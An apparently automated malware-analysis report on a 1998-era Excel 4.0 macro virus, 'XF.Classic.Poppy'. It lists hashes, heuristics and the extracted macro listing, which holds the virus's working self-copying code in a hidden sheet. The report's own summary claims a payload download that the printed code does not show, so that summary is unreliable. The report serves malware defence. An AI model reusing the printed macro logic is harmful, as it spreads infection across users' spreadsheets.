Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 50153376b897adf9…

MALICIOUS

Office (OLE)

41.5 KB Created: 2004-04-10 01:57:17 Authoring application: Microsoft Excel First seen: 2014-12-08
MD5: 51d9c9ae6608a65653acedf44c4a458c SHA-1: e70b5cdc9b6ae19b7603cf5a3325cfcf80544531 SHA-256: 50153376b897adf9cebd26e8f511a7f12b2e04e638c51acb9d518ca74311a41b
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro sheet containing an Auto_Open macro, which is a known technique for executing malicious code upon opening the workbook. Heuristics indicate the use of dangerous functions such as RUN, suggesting the macro is designed to download and execute a secondary payload. The presence of strings like 'Poppy' and 'XL4Poppy' within the macro sheet may indicate a specific variant or naming convention.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Legacy Excel formula macro virus marker critical OLE_XLS_FORMULA_MACRO_VIRUS
    Workbook stream contains self-identifying legacy Excel formula macro virus markers. This indicates the document carries formula macro virus content even when no VBA project or modern XLM macro-sheet structure is present.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 21593 bytes
SHA-256: a4241eddb9097ce8c49d856abe54811778bf1987ba6ae95d0acd2f9c15d1c9e9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  XL4Popp
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 2 Auto_Close len=7 ptgRef3d  Sheet!C4 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C4 
' 0018     26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d  Sheet!C31 
' 0018     30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d  Sheet!C9 
' 0018     74 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00\x1c\xed?\x06'
' 0018     41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00\x00\x00\x0f\x00\x01\x00\x01\x00'
' 0018     27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d  Sheet!A15 
' 0018     28 LABEL : Cell Value, String Constant - LAMSON len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00@\x01\x00\x00'
' 0018     28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d  Sheet!A26 
' 0018     29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d  Sheet!C39 
' 0018     27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d  Sheet!C27 
' 0018     25 LABEL : Cell Value, String Constant - built-in-name 7 ? len=9 ptgAreaN  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x05\x00\x00\x00\xff\x00'
' 0018     35 LABEL : Cell Value, String Constant - TIENGIANG len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x04\x00\xf5\x01\x12\x00\x13\x00'
' 0018     32 LABEL : Cell Value, String Constant - TUYHOA len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x04\x00\xf5\x01\x18\x00\x19\x00'
' 0018     33 LABEL : Cell Value, String Constant - VANPHUC len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x04\x00\xf5\x01\x15\x00\x16\x00'
' 0018     29 LABEL : Cell Value, String Constant - XMT len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x04\x00\xf5\x01\x0f\x00\x10\x00'
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Sheet,D11,"",139681722170.00000000000000000000
'  Sheet,E11,"",103816739201.00000000000000000000
'  Sheet,F11,"",139681722170.00000000000000000000
'  Sheet,G11,"",229258141611.00000000000000000000
'  Sheet,D12,"",17986444500.00000000000000000000
'  Sheet,E12,"",2558446800.00000000000000000000
'  Sheet,F12,"",17986444500.00000000000000000000
'  Sheet,G12,"",8097609765.00000000000000000000
'  Sheet,D13,R~13C~3,""
'  Sheet,E13,R~13C~4,""
'  Sheet,F13,R~13C~5,""
'  Sheet,G13,"",79521542.00000000000000000000
'  Sheet,D14,"",489118055.00000000000000000000
'  Sheet,D16,"",576132300.00000000000000000000
'  Sheet,F16,"",576132300.00000000000000000000
'  Sheet,D17,D11-D13,""
'  Sheet,E17,E11-E13,""
'  Sheet,F17,F11-F13,""
'  Sheet,G17,G11-G13,""
'  Sheet,D18,"",124711767998.00000000000000000000
'  Sheet,E18,"",88868936289.00000000000000000000
'  Sheet,F18,"",124711767998.00000000000000000000
'  Sheet,G18,G17-G19,""
'  Sheet,D19,D20,""
'  Sheet,E19,E20,""
'  Sheet,F19,F20,""
'  Sheet,G19,G20,""
'  Sheet,D21,"",5408338142.00000000000000000000
'  Sheet,E21,"",5986047985.00000000000000000000
'  Sheet,F21,"",5408338142.00000000000000000000
'  Sheet,G21,"",11540662970.00000000000000000000
'  Sheet,D22,"",5408338142.00000000000000000000
'  Sheet,E22,"",5986047985.00000000000000000000
'  Sheet,F22,"",5408338142.00000000000000000000
'  Sheet,G22,"",11452007906.00000000000000000000
'  Sheet,D23,"",3179106582.00000000000000000000
'  Sheet,E23,"",4174645715.00000000000000000000
'  Sheet,F23,"",3179106582.00000000000000000000
'  Sheet,G23,"",8060927455.00000000000000000000
'  Sheet,D24,"",2635383824.00000000000000000000
'  Sheet,E24,"",2420159430.00000000000000000000
'  Sheet,F24,"",2635383824.00000000000000000000
'  Sheet,G24,"",4581303327.00000000000000000000
'  Sheet,D25,7943500483.00000000000000000000-5324866954.00000000000000000000,""
'  Sheet,E25,"",2456750441.00000000000000000000
'  Sheet,F25,7943500483.00000000000000000000-5324866954.00000000000000000000,""
'  Sheet,G25,"",4947750286.00000000000000000000
'  Sheet,G26,"",0.00000000000000000000
'  Sheet,D27,"",271334526.00000000000000000000
'  Sheet,E27,"",578761989.00000000000000000000
'  Sheet,F27,"",271334526.00000000000000000000
'  Sheet,G27,"",1148357225.00000000000000000000
'  Sheet,E28,"",450000.00000000000000000000
'  Sheet,G28,"",295910326.00000000000000000000
'  Sheet,D29,D27-D28,""
'  Sheet,E29,E27-E28,""
'  Sheet,F29,F27-F28,""
'  Sheet,G29,"",852446899.00000000000000000000
'  Sheet,D30,D25+D29,""
'  Sheet,E30,E25+E29,""
'  Sheet,F30,F25+F29,""
'  Sheet,G30,G25+G29,""
'  Sheet,G31,"",6403142410.00000000000000000000
'  Sheet,G32,"",0.00000000000000000000
'  Sheet,D33,D30-D32,""
'  Sheet,E33,E30-E32,""
'  Sheet,F33,F30-F32,""
'  Sheet,G33,G30-G32,""
'  Sheet,B2,13179532501.00000000000000000000+66411583.00000000000000000000+336183756.00000000000000000000+7821454.00000000000000000000+59481237.00000000000000000000,""
'  Sheet,C2,13474914725.00000000000000000000+85186684.00000000000000000000+1072162423.00000000000000000000+10394787.00000000000000000000+83396784.00000000000000000000,""
'  Sheet,D2,13016615364.00000000000000000000+28866068.00000000000000000000+1037788877.00000000000000000000+3715916.00000000000000000000+75590798.00000000000000000000,""
'  Sheet,E2,91370293.00000000000000000000+127273.00000000000000000000+38486186.00000000000000000000,""
'  Sheet,F2,[],""
'  Sheet,B3,"",1239027105.00000000000000000000
'  Sheet,C3,"",1681431663.00000000000000000000
'  Sheet,D3,"",403354592.00000000000000000000
'  Sheet,E3,276596384.00000000000000000000+574552734.00000000000000000000,""
'  Sheet,F3,[],""
'  Sheet,B4,"",1395440724.00000000000000000000
'  Sheet,C4,"",790784886.00000000000000000000
'  Sheet,D4,"",2083291484.00000000000000000000
'  Sheet,E4,4763562.00000000000000000000+35627988.00000000000000000000,""
'  Sheet,F4,[],""
'  Sheet,B5,"",1289326244.00000000000000000000
'  Sheet,C5,"",1557422804.00000000000000000000
'  Sheet,D5,"",714531537.00000000000000000000
'  Sheet,F5,[],""
'  Sheet,B6,150297760.00000000000000000000+6150000.00000000000000000000,""
'  Sheet,C6,197077920.00000000000000000000+86000000.00000000000000000000,""
'  Sheet,D6,64046753.00000000000000000000+3320000.00000000000000000000,""
'  Sheet,E6,720912168.00000000000000000000+192542810.00000000000000000000,""
'  Sheet,F6,[],""
'  Sheet,B7,136222794.00000000000000000000+48413000.00000000000000000000,""
'  Sheet,C7,170312574.00000000000000000000+62123000.00000000000000000000,""
'  Sheet,D7,63592148.00000000000000000000+67992000.00000000000000000000,""
'  Sheet,E7,556403238.00000000000000000000+149535636.00000000000000000000,""
'  Sheet,F7,[],""
'  Sheet,B8,R~1C~1,""
'  Sheet,C8,R~1C~2,""
'  Sheet,D8,R~1C~3,""
'  Sheet,E8,R~1C~4,""
'  Sheet,F8,[],""
'  Sheet,C12,R~12C~2,""
'  Sheet,D12,R~12C~3,""
'  Sheet,A13,"",1.00000000000000000000
'  Sheet,C13,"",4757290975.00000000000000000000
'  Sheet,D13,"",5317719986.00000000000000000000
'  Sheet,A14,"",2.00000000000000000000
'  Sheet,A15,"",3.00000000000000000000
'  Sheet,C15,"",15545570139.00000000000000000000
'  Sheet,D15,"",13728798243.00000000000000000000
'  Sheet,A16,"",4.00000000000000000000
'  Sheet,C16,"",74943241885.00000000000000000000
'  Sheet,D16,"",87954517147.00000000000000000000
'  Sheet,A17,"",5.00000000000000000000
'  Sheet,C18,C20+C26+C27,""
'  Sheet,D18,D20+D26+D27,""
'  Sheet,A19,"",1.00000000000000000000
'  Sheet,A20,"",2.00000000000000000000
'  Sheet,C20,R~20C~2,""
'  Sheet,D20,R~20C~3,""
'  Sheet,C21,"",32498239541.00000000000000000000
'  Sheet,D21,"",40492191151.00000000000000000000
'  Sheet,A25,"",3.00000000000000000000
'  Sheet,A26,"",4.00000000000000000000
'  Sheet,C26,"",4950000000.00000000000000000000
'  Sheet,D26,"",4950000000.00000000000000000000
'  Sheet,A27,"",5.00000000000000000000
'  Sheet,C28,C12+C18,""
'  Sheet,D28,D12+D18,""
'  Sheet,C29,R~29C~2,""
'  Sheet,D29,R~29C~3,""
'  Sheet,A30,"",1.00000000000000000000
'  Sheet,C30,"",71252373924.00000000000000000000
'  Sheet,D30,"",94818226659.00000000000000000000
'  Sheet,A31,"",3.00000000000000000000
'  Sheet,C31,"",4518374042.00000000000000000000
'  Sheet,D31,"",4884330350.00000000000000000000
'  Sheet,C32,C33+C43,""
'  Sheet,D32,D33+D43,""
'  Sheet,A33,"",1.00000000000000000000
'  Sheet,C33,R~33C~2,""
'  Sheet,D33,R~33C~3,""
'  Sheet,C34,"",59923480000.00000000000000000000
'  Sheet,D34,"",59923480000.00000000000000000000
'  Sheet,C37,"",-652100000.00000000000000000000
'  Sheet,D37,"",-652100000.00000000000000000000
'  Sheet,C40,5468736977.00000000000000000000+1487865606.00000000000000000000+100000000.00000000000000000000,""
'  Sheet,D40,5468736977.00000000000000000000+1487865606.00000000000000000000+100000000.00000000000000000000,""
'  Sheet,C41,"",-9449619899.00000000000000000000
'  Sheet,D41,"",-13618923435.00000000000000000000
'  Sheet,A43,"",2.00000000000000000000
'  Sheet,C43,R~43C~2,""
'  Sheet,D43,"",0.00000000000000000000
'  Sheet,C46,C29+C32,""
'  Sheet,D46,D29+D32,""
'  Sheet,A51,"",1.00000000000000000000
'  Sheet,C51,"",105838769170.00000000000000000000
'  Sheet,D51,"",178573822394.00000000000000000000
'  Sheet,A52,"",2.00000000000000000000
'  Sheet,C52,"",228705585.00000000000000000000
'  Sheet,D52,"",575752079.00000000000000000000
'  Sheet,A53,"",3.00000000000000000000
'  Sheet,C53,C51-C52,""
'  Sheet,D53,D51-D52,""
'  Sheet,A54,"",4.00000000000000000000
'  Sheet,C54,"",96253542170.00000000000000000000
'  Sheet,D54,"",161729598828.00000000000000000000
'  Sheet,A55,"",5.00000000000000000000
'  Sheet,C55,C53-C54,""
'  Sheet,D55,D53-D54,""
'  Sheet,A56,"",6.00000000000000000000
'  Sheet,A57,"",7.00000000000000000000
'  Sheet,C57,"",805576826.00000000000000000000
'  Sheet,D57,"",2733388009.00000000000000000000
'  Sheet,A58,"",8.00000000000000000000
'  Sheet,C58,"",2640854048.00000000000000000000
'  Sheet,D58,"",4551577958.00000000000000000000
'  Sheet,A59,"",9.00000000000000000000
'  Sheet,C59,"",2836461885.00000000000000000000
'  Sheet,D59,"",4914778544.00000000000000000000
'  Sheet,A60,"",10.00000000000000000000
'  Sheet,C60,C55+C56-C57-C58-C59,""
'  Sheet,D60,D55+D56-D57-D58-D59,""
'  Sheet,A61,"",11.00000000000000000000
'  Sheet,A62,"",12.00000000000000000000
'  Sheet,A63,"",13.00000000000000000000
'  Sheet,C63,C61-C62,""
'  Sheet,D63,D61-D62,""
'  Sheet,A64,"",14.00000000000000000000
'  Sheet,C64,C60+C63,""
'  Sheet,D64,D60+D63,""
'  Sheet,A65,"",15.00000000000000000000
'  Sheet,A66,"",16.00000000000000000000
'  Sheet,C66,C64-C65,""
'  Sheet,D66,D64-D65,""
'  Sheet,A67,"",17.00000000000000000000
'  Sheet,C67,C64/59585125.00000000000000000000*10,""
'  Sheet,D67,D64/59585125.00000000000000000000*10,""
'  XL4Popp,C1,WORKBOOK.HIDE("XL4Poppy"),""
'  XL4Popp,C4,RUN(C18),""
'  XL4Popp,C5,"ERROR(TRUE,Continue)",""
'  XL4Popp,C6,IF(A4=3),""
'  XL4Popp,C7,RETURN(),""
'  XL4Popp,C8,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,C9,ERROR(FALSE),""
'  XL4Popp,C10,RUN(A21),""
'  XL4Popp,C11,"ON.TIME("6:30:00 PM","Hello")",""
'  XL4Popp,C12,"ON.TIME("6:30:00 AM","Morning")",""
'  XL4Popp,C13,"ON.SHEET(,"Poppy",TRUE)",""
'  XL4Popp,C14,RETURN(),""
'  XL4Popp,A15,"ALERT("XF.Classic.Poppy by VicodinES",2)",""
'  XL4Popp,A16,"ALERT("? 1998 The Narkotic Network",2)",""
'  XL4Popp,A17,RETURN(),""
'  XL4Popp,C18,"SET.VALUE(A3,(GET.WORKSPACE(32)&"\xlstart\Book1."))",""
'  XL4Popp,C19,"SET.NAME("Document_array",DOCUMENTS())",""
'  XL4Popp,C20,"SET.VALUE(A1,INDEX(Document_array,2))",""
'  XL4Popp,A21,"IF(FILES(A3)="Book1.",0,99)",""
'  XL4Popp,C21,"SET.VALUE(A2,INDEX(Document_array,1))",""
'  XL4Popp,A22,"ERROR(TRUE,MakeIt)",""
'  XL4Popp,C22,"SET.VALUE(A4,GET.DOCUMENT(3,"["&A1&"]"&"XL4Poppy"))",""
'  XL4Popp,A23,IF(A21=0),""
'  XL4Popp,C23,RETURN(),""
'  XL4Popp,A24,RETURN(),""
'  XL4Popp,A25,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A26,NEW(1),""
'  XL4Popp,A27,WORKBOOK.INSERT(1),""
'  XL4Popp,C27,RUN(C19),""
'  XL4Popp,A28,WORKBOOK.INSERT(1),""
'  XL4Popp,C28,"ERROR(TRUE,Bust)",""
'  XL4Popp,A29,ACTIVATE.PREV(),""
'  XL4Popp,C29,IF(A4=3),""
'  XL4Popp,A30,RUN(C18),""
'  XL4Popp,C30,RETURN(),""
'  XL4Popp,A31,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,C31,ERROR(FALSE),""
'  XL4Popp,A32,"WORKBOOK.NAME("Sheet3","Sheet99")",""
'  XL4Popp,C32,ACTIVATE.PREV(),""
'  XL4Popp,A33,"WORKBOOK.NAME("Sheet1","Sheet3")",""
'  XL4Popp,C33,RUN(C19),""
'  XL4Popp,A34,"WORKBOOK.NAME("Sheet99","Sheet1")",""
'  XL4Popp,C34,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,A35,"PROTECT.DOCUMENT(TRUE,,"VicodinES",TRUE)",""
'  XL4Popp,C35,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A36,WORKBOOK.PREV(),""
'  XL4Popp,C36,RETURN(),""
'  XL4Popp,A37,WORKBOOK.PREV(),""
'  XL4Popp,A38,WORKBOOK.PREV(),""
'  XL4Popp,A39,SAVE.AS(A3),""
'  XL4Popp,C39,APP.TITLE("XF.Classic.Poppy"),""
'  XL4Popp,A40,FILE.CLOSE(),""
'  XL4Popp,C40,"MESSAGE(TRUE,"VicodinES and Lord Natas greet you a good morning!")",""
'  XL4Popp,A41,RETURN(),""
'  XL4Popp,C41,RETURN(),""